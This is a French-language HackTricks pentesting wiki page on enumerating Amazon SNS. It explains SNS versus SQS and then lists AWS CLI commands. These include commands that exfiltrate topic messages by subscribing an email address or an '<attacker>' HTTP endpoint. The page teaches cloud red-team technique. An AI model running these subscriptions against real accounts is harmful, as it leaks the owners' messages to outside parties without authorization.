AWS - SNS Enum
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
SNS
Amazon Simple Notification Service (Amazon SNS) est décrit comme un service de messagerie entièrement géré. Il prend en charge à la fois les types de communication application-à-application (A2A) et application-à-personne (A2P).
Les fonctionnalités clés pour la communication A2A incluent les mécanismes de publication/abonnement (pub/sub). Ces mécanismes introduisent des sujets, cruciaux pour permettre une messagerie push basée sur un haut débit et de nombreux à de nombreux. Cette fonctionnalité est très avantageuse dans les scénarios impliquant des systèmes distribués, des microservices et des architectures sans serveur pilotées par des événements. En tirant parti de ces sujets, les systèmes de publication peuvent distribuer efficacement des messages à un large éventail de systèmes d'abonnement, facilitant un modèle de messagerie en éventail.
Différence avec SQS
SQS est un service basé sur des files d'attente qui permet une communication point à point, garantissant que les messages sont traités par un unique consommateur. Il offre une livraison au moins une fois, prend en charge les files d'attente standard et FIFO, et permet la conservation des messages pour des réessais et un traitement différé.
D'autre part, SNS est un service basé sur la publication/abonnement, permettant une communication un-à-plusieurs en diffusant des messages à plusieurs abonnés simultanément. Il prend en charge divers points de terminaison d'abonnement comme l'email, le SMS, les fonctions Lambda et HTTP/HTTPS, et fournit des mécanismes de filtrage pour une livraison ciblée des messages.
Bien que les deux services permettent le découplage entre les composants dans des systèmes distribués, SQS se concentre sur la communication en file d'attente, tandis que SNS met l'accent sur les modèles de communication pilotés par des événements et en éventail.
Énumération
# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>
# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt
# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com
# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
caution
Notez que si le sujet est de type FIFO, seuls les abonnés utilisant le protocole SQS peuvent être utilisés (HTTP ou HTTPS ne peuvent pas être utilisés).
De plus, même si le --topic-arn
contient la région, assurez-vous de spécifier la bonne région dans --region
ou vous obtiendrez une erreur qui ressemble à une indication que vous n'avez pas accès, mais le problème est la région.
Accès non authentifié
AWS - SNS Unauthenticated Enum
Escalade de privilèges
Post exploitation
Persistance
Références
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.